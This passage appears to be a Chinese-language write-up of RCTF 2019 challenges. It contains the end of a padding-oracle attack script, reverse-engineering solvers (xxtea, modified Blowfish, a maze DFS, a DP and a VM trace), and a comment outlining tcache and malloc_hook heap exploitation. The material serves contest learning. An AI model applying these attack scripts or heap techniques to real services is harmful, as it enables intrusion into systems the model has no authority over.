last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-64:-48]
temp_block = ""
for i in range(16):
    temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))

last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
    new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))

res = ''
for i in range(16):
    res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 1 Complete!"
print res
print res.encode('hex')

new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
    new_last2_enc_block = '0'+new_last2_enc_block
payload =  last_enc_block + payload
print "[+]Round 1 payload:"
print payload
print len(payload)

payload = new_last2_enc_block + payload
print "[+]Round 0 payload:"
print payload
print len(payload)

payload += new_hash
print "[+]ALL DONE!"
print "payload:"
print payload
print len(payload)

rv(4096)
sl(payload)
result = rl()
print "[+]Get Flag:"
print result
p.close()

Re

babyre1

首先校验flag长度为16,然后进行16进制编码

然后我们看看sub_555555555180

这个函数将input视为4个dword的数,然后xxtea decrypt,且解密后的字符串最后一字节要<4,至于xxtea的识别的话,可以发现它用了常数0x9E3779B9,这是标准tea家族的算法需要用的参数,然后参考这个博客:

https://www.jianshu.com/p/4272e0805da3

可以发现是xxtea解密
后面再经过一个check后要输出Bingo!可以发现的是,最后一轮check并不会改变输入的值,且我们只有密文的最后两位是未知的,然后hint又给了md5,那么最后一轮就没有逆的必要了,直接爆破一下

import xxtea
import hashlib;
def decrypt(text,key):
    return xxtea.decrypt(text, key,padding=False);
def encrypt(text,key):
    return xxtea.encrypt(text, key,padding=False);

key = [0xc7,0xe0,0xc7,0xe0,0xd7,0xd3,0xf1,0xc6,0xd3,0xc6,0xd3,0xc6,0xce,0xd2,0xd0,0xc4]

key = ''.join( [ chr(i) for i in key ] );


cipher = [0x55,0x7e,0x79,0x70,0x78,0x36,0,0];
for i in range(0xff):
    print i;
    for j in range(4):
        cipher[6]=i;
        cipher[7]=j;
        t = encrypt( ''.join( [ chr(k) for k in cipher ] ) , key);
        t = t.encode('hex');
        t = "rctf{" + t + "}"
        # print i,j,t;
        # print hashlib.md5(t).hexdigest()
        if (  hashlib.md5(t).hexdigest()=="5f8243a662cf71bf31d2b2602638dc1d" ):
            print 'get!!!!!!!!!!!!!!!!!!!';
            print t;

# rctf{05e8a376e4e0446e}

babyre2

和第一题同样用了xxtea,程序的大致逻辑为:
用account作为xxtea的密钥来加密一串常量,得到s1
用password进行一些变换后来索引data的值来构造一个字符串s2
将s2每位^0xcc后解密s1,如果解密的结果最后一位<4就get flag
且可以发现的是第一次加密的常量最后一位<4,那么构造account==s2^0xcc就完事了

from pwn import *
from LibcSearcher import *
s = lambda data : p.send(data);
sl = lambda data : p.sendline(data);
sla = lambda st,data : p.sendlineafter(st,data);
sa = lambda st,data : p.sendafter(st,data);
context.log_level = 'DEBUG';

p = remote("139.180.215.222 ",20000);

sa("account:","2"*16);
sa("password:","1"*16 );
sa("data:",("1"*36+chr(ord('2')^0xcc)+'23456').encode('hex') );
p.interactive();

#rctf{f8b1644ac14529df029ac52b7b762493}

DontEatME

开头有ZwSetInformationThread的反调试,全部patch掉即可,然后伪随机数生成以一串key,来初始化Blowfish,然后中间那一大段就是Blowfish的解密过程,但是我试了一下,好像不太对,应该是作者魔改了某些地方。
然后这一坨东西呢,唯一的作用就是生成了dword_4053A8这个表

这里就是根据dword_4053A8和一些判断来check,可以直接跑dfs出答案

dword_4053A8 = [1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L]


b = [0x61,0x64,0x73,0x77,0]
v32 = 10;
v33 = 0;
v34 = 5;
v35 = 160;
def get(x):
    global v32;
    global v33;
    global v34;
    global v35;
    if (x==0x61):
        v34-=1;
    if (x==0x64):
        v34+=1;
    if (x==0x73):
        v32+=1;
        v35+=16;
    if (x==0x77):
        v32-=1;
        v35-=16;
def recover(x):
    global v32;
    global v33;
    global v34;
    global v35;
    if (x==0x61):
        v34+=1;
    if (x==0x64):
        v34-=1;
    if (x==0x73):
        v32-=1;
        v35-=16;
    if (x==0x77):
        v32+=1;
        v35+=16;
ans = [0]*16;
def dfs(x):
    global v32;
    global v33;
    global v34;
    global v35;
    if x==16:
        if v32==4 and v34==9:
            print ans;
            return ;
        else :
            return;

    for j in b:
        get(j);
        ans[x] = j;
        if dword_4053A8[v35+v34]!=1:
            dfs(x+1);
        recover(j);
    return ;

dfs(0);

可以发现只有唯一一组解:[100, 100, 100, 100, 119, 119, 119, 97, 97, 97, 119, 119, 119, 100, 100, 100]得到加密后的结果之后,就得逆那个Blowfish,由于不知道作者魔改了什么地方,因此我只好自己手动求逆了

key_table= [3240133568, 1745476834, 3452267107, 1321242865, 569233882, 3262172914, 804074711, 2212451896, 3586228949, 3213295876, 2580307897, 3987242710, 844129917, 1301868125, 523187267, 1271787320, 262594588, 3722290984]
t4= [1168098725, 2143783412, 4223038891, 1704033917, 4178117343, 
......此处应有省略号......
4234728569, 227098560, 3450504956, 490211951]


def f(x):
    a1 = x&0xff;
    a2 = (x&0xff00)>>8;
    a3 = (x&0xff0000)>>16;
    a4 = (x&0xff000000)>>24;
    return t1[a1]+( t2[a2]^(t3[a3]+t4[a4]) );

def decrypt(xl,xr):
    v10 = 17;
    i = 0;
    for i in range(16):
        xl = xl ^ key_table[v10];
        v10-=1;
        temp = xl;
        xl = xr ^ f(xl);
        xr = temp;
        xl &=0xffffffff;
        xr &=0xffffffff;
        # print i,hex(xl),hex(xr),v10;
    xr^=key_table[0];
    xl^=key_table[1];
    return hex(xr),hex(xl);
def encrypt(xl,xr):
    v10 = 2;
    i = 0;

    xr^=key_table[0];
    xl^=key_table[1];

    for i in range(16):
        pre_xl = xr ^ key_table[v10];
        v10+=1;
        xr = f(xr)^xl;
        xl  = pre_xl;
        xl &=0xffffffff;
        xr &=0xffffffff;
        # print i,hex(xl),hex(xr),v10;

    return hex(xl),hex(xr);

a = "64646464777777616161777777646464"
ans = ""
for i in range(0,len(a),16):
    a1 = int(a[i:i+8],16);
    a2 = int(a[i+8:i+16],16);
    a1,a2 = encrypt(a2, a1);
    ans +=a1[2:-1];
    ans +=a2[2:-1];
print ans,len(ans);
# RCTF{db824ef8605c5235b4bbacfa2ff8e087}

crack

限制程序输入的前512位只能是0 or 1,然后会根据你的输入来解密一个函数,但由于最后的函数是未知的,因此直接求逆不可能,但程序限制了v27,也就是根据输入取解密后的值x,然后v27-=x,最后要求v27==0,乍一看这只能爆破,但其实猜想一下要使程序能用非爆破的方式求解的话,v27很可能是一个特殊的数字,例如最大值,最小值,如果这么一想,那这其实就是一个在矩阵里按照特殊规则取数,然后求最大值的问题,那么这其实就是非常一个简单的dp问题f[i][j]=max(f[i-1][j],f[i-1][j-1])+a[i][j]
贴一下脚本,写的很急,很丑,且因为担心有多解,还加了一些判断

#include<iostream>
using namespace std;
unsigned long long f[1111][1111];
unsigned long long  a[1111][1111];
unsigned long long t=0;
int num=0;
struct ha{
    int v[20];
    int num;
};
ha c[1111][1111];
void get(int x,int y){

    if (x<1||y<1){
        cout<<"!!!!!!!!!!!!!!!wrong case!  "<<x<<"    "<<y<<endl;
        return ;
    }
    if (x==1&&y==1){
        cout<<"0";
        return;
    }
    if (x==1&&y==2){
        cout<<"1";
        return ;
    }
    if (c[x][y].num>1) {
        cout<<x<<" "<<y<<endl;
        cout<<"not just one answer"<<c[x][y].num<<endl;
    }
    if ( c[x][y].v[0]==1 ){
        get(x-1,y-1);
        cout<<"1";
    }
    else {
        get(x-1,y);
        cout<<"0";
    }
}
int main(){
    freopen("func.mem","r",stdin);
    for (int i=1;i<=0x200;i++){
        for (int j=1;j<=0x200;j++){
            scanf("%lld",&a[i][j]);
//            cin>>a[i][j];
            //cout<<hex<<a[i][j]<<endl;
        }
    }
    t = 0;
    int i=1;
        for (int j=1;j<=0x200;j++){
            if (j<=2) i=1;
            else i=j-1;
            for (;i<=0x200;i++){
                f[i][j] = max( f[i-1][j]+a[i][j], f[i-1][j-1]+a[i][j] );
//              cout<<hex<<f[i][j]<<endl;
                if ( f[i-1][j]+a[i][j] == f[i-1][j-1]+a[i][j] ){
                    c[i][j].num = 0;
                    c[i][j].v[ c[i][j].num++ ] = 0;
                    c[i][j].v[ c[i][j].num++ ] = 1;
                    continue;
                }
                if (f[i][j]==f[i-1][j]+a[i][j]){
                        c[i][j].v[ 0 ] = 0;
                        c[i][j].num=1;
                    }
                else {
                    c[i][j].num=1;
                    c[i][j].v[ 0 ] = 1;
                }
            t = max(t,f[i][j]);
            if (f[i][j]>=0x100758E540F){
                get(i,j);cout<<endl;
                cout<<"i get one "<<i<<" "<<j<<"  "<<hex<<f[i][j]<<endl;
            }
        }
    }
}

可以发现v27的值确实是最大值,且是唯一解
00000000010101000000000111100111111110100111100101001000101010010011101100111101011111111111111111001110111011011000000101110111001111100100011000000000000110001111110100000000001101110111010101011111000101110000011000111001110000000000000000000000011001000010000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000011100011111110000100111000000000000000000000000000000010000000000000001000001100000000000000101000000000100000010000000000000000010000000000000000000000

然后我们动态跟一下解密后的函数: sub_431A020,发现是个vm

先打印一下日志,看看程序在干啥

粗略的打印了一下

00 Mov reg[0] , 0x26a
03 Mov reg[1] , reg[0]
02 reg[0]=input[0]
1a 01 Mov reg[1] , 0x30  input[i]-=0x30
0c Sub reg[0] , reg[1]
03 Mov reg[1] , reg[0]
......此处应有省略号......
06 reg[0]=reg[6] (0x11)
01 Mov reg[1] , 0x7
0d Mul reg[0] , reg[1]
01 Mov reg[1] , 0xf423f
16 reg[0] == reg[1] reg[0]=0  //check
01 Mov reg[1] , 0xc36
1a jump c36
00 Mov reg[0] , 0x928a000

逻辑很简单

input="123"
for i in range(len(input)):
    v6+= (ord(input[i])-0x30)<<i
    print v6;
print hex(v6);
# v6*7 == 0xf423f

因为长度是未知的,因此我随便找了一个解79889000968999
(注意,答案是分两部分,这是第二部分的)
带到vm里,发现指令数暴增,且由于我这个vm模拟的不全面,还会报错,大致分析了一下后面的功能,可以发现它貌似也在解密什么东西,最主要的是,后面的操作都和input没啥关系,因此直接将第一轮的答案+第二轮带入

3 条评论
某人
表情
可输入 255
byzero512
2019-05-21 05:05 0 回复

@C0mRaDe

抱歉, many_note的wp整理的时候搞错了, 把两种思路混在一起写了.

many_note有两种做法, 上面的wp使用的是第一种



  1. 改tcachebin

  2. house of Orange

    第一种:

    1. 当不断malloc的时候, topchun大小小于请求大小时, 会把top_chunk free掉, 并且把arena里面top指针改到前面去, 会在tcache_bin(用来管理tcache的一个chunk, 大小为0x250.)前面

    2. 然后把topchunk大小改大, 然后不断malloc, 会malloc到tcachebin区域, 这时malloc出来, 写一个malloc_hook的地址到tcache_bin里, 然后tcache_dup, 写onegadget到malloc_hook即可




M00N
2019-05-21 02:03 0 回复

师傅们tql


C0mRaDe
2019-05-21 01:59 0 回复

由于RE部分的脚本太长,这里并没有全部贴上来,完整的RE wp可见https://github.com/coomrade/RCTF2019